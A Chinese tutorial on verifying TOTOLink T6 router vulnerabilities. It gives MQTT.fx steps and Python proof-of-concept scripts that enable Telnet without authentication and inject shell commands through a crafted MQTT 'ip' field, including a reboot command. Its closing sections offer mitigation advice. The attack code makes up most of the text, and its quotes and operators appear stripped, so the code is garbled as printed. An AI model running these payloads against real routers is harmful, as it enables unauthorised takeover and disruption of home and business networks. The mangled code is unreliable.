手把手教你用MQTT.fx验证TOTOLink路由器漏洞(附PoC脚本)

张开发
2026/4/7 10:49:07 15 分钟阅读

分享文章

手把手教你用MQTT.fx验证TOTOLink路由器漏洞(附PoC脚本)
实战指南利用MQTT.fx验证TOTOLink路由器安全漏洞在物联网设备快速普及的今天路由器作为家庭和企业网络的核心枢纽其安全性至关重要。近期TOTOLink T6系列路由器被发现存在多个安全漏洞包括未授权访问和远程命令执行等高风险问题。本文将详细介绍如何通过MQTT.fx工具验证这些漏洞并提供完整的PoC脚本帮助安全研究人员和网络管理员评估设备安全性。1. 漏洞背景与环境准备TOTOLink T6是一款经济型双频无线路由器采用子母路由器设计。安全研究人员发现其固件中存在多处安全隐患其中最严重的是MQTT协议实现缺陷导致的远程命令执行漏洞。1.1 所需工具清单在开始验证前请确保准备好以下工具和环境MQTT.fx 1.7.1轻量级MQTT客户端工具Python 3.6环境用于运行PoC脚本网络抓包工具如Wireshark或Burp SuiteTOTOLink T6路由器测试目标设备提示建议在隔离的测试环境中进行验证避免影响生产网络。1.2 网络拓扑配置为安全起见建议采用以下网络配置测试计算机(192.168.0.100) ←→ TOTOLink T6路由器(192.168.0.1)确保测试计算机与路由器处于同一局域网段且防火墙允许1883端口的通信。2. MQTT协议漏洞原理分析MQTT(消息队列遥测传输)是一种轻量级的发布/订阅模式消息协议广泛应用于物联网设备通信。TOTOLink T6路由器的漏洞主要源于其MQTT实现中的三个关键问题认证缺失未对MQTT订阅者进行身份验证命令注入未对执行命令进行有效过滤权限控制不足允许未授权操作敏感功能2.1 漏洞触发流程漏洞利用的核心流程可分为四个步骤通过HTTP接口或MQTT协议开启Telnet服务利用默认凭证或固件中硬编码的密码登录Telnet分析MQTT主题和消息格式构造恶意MQTT消息实现命令注入2.2 关键服务端口通过端口扫描可发现路由器开放以下关键服务端口号服务类型安全风险等级80HTTP管理中23Telnet高1883MQTT代理严重3. 使用MQTT.fx验证漏洞MQTT.fx是一款功能强大的MQTT客户端工具我们将使用它来验证路由器的MQTT协议实现缺陷。3.1 初始配置MQTT.fx下载并安装MQTT.fx 1.7.1版本创建新的MQTT连接配置Broker Address: 192.168.0.1Broker Port: 1883Client ID: 任意唯一标识符保持其他参数为默认值无需配置认证信息3.2 订阅系统主题在MQTT.fx的Subscribe标签页中添加以下主题订阅totolink/router/#这个通配符主题将接收路由器发布的所有消息。通过观察这些消息可以了解设备的内部状态和通信模式。3.3 发送测试消息切换到Publish标签页尝试发送控制消息主题totolink/router/setTelnetCfg消息内容{telnet_enabled:1}发送后检查路由器是否开启了Telnet服务telnet 192.168.0.13.4 验证命令注入漏洞构造特殊的MQTT消息来测试命令注入主题totolink/router/recvSlaveUpgstatus消息内容{status:1,ip:;ping -c 4 192.168.0.100;}如果测试计算机收到ICMP回显请求则证明命令注入成功。4. 自动化PoC脚本实现为简化验证过程我们提供Python实现的完整PoC脚本涵盖漏洞利用全流程。4.1 Telnet服务开启脚本import requests def enable_telnet_http(): url http://192.168.0.1/cgi-bin/cstecgi.cgi payload {telnet_enabled:1,topicurl:setTelnetCfg} headers {Content-Type: application/x-www-form-urlencoded} try: response requests.post(url, datapayload, headersheaders) print(f[] Telnet enabled via HTTP: {response.status_code}) except Exception as e: print(f[-] HTTP enable failed: {str(e)}) def enable_telnet_mqtt(): import paho.mqtt.client as mqtt def on_connect(client, userdata, flags, rc): if rc 0: client.publish(totolink/router/setTelnetCfg, {telnet_enabled:1}) print([] Telnet enabled via MQTT) else: print(f[-] MQTT connection failed: {rc}) client mqtt.Client() client.on_connect on_connect client.connect(192.168.0.1, 1883, 60) client.loop_start()4.2 命令注入利用脚本import paho.mqtt.client as mqtt import time def execute_command(cmd): client mqtt.Client() client.connect(192.168.0.1, 1883, 60) payload f{{status:1,ip:;{cmd};}} client.publish(totolink/router/recvSlaveUpgstatus, payload) print(f[] Command sent: {cmd}) time.sleep(1) # 确保命令执行完成 client.disconnect() # 示例重启路由器 execute_command(reboot)4.3 自动化检测脚本def vulnerability_check(): # 检测Telnet是否可开启 enable_telnet_mqtt() # 检测命令注入漏洞 try: execute_command(echo vulnerable /tmp/test) print([!] 存在命令注入漏洞) except: print([] 未发现命令注入漏洞) # 尝试获取系统信息 execute_command(uname -a /tmp/sysinfo)5. 安全防护建议发现漏洞后应采取以下措施保护网络设备安全5.1 临时缓解措施禁用Telnet服务通过管理界面关闭Telnet访问防火墙规则阻止外部对1883端口的访问网络隔离将物联网设备置于独立VLAN中5.2 长期解决方案固件升级检查厂商发布的最新安全补丁密码策略修改默认管理密码为强密码服务最小化关闭不必要的网络服务5.3 安全配置检查表定期检查路由器的以下安全配置[ ] 管理界面启用HTTPS[ ] 禁用UPnP服务[ ] 启用防火墙日志记录[ ] 定期备份配置文件[ ] 订阅安全通告及时获取更新在实际测试中发现TOTOLink T6的Web管理界面也存在CSRF漏洞建议同时使用浏览器插件防护跨站请求伪造攻击。对于企业环境应考虑部署专业的物联网安全监控系统实时检测异常MQTT通信行为。

更多文章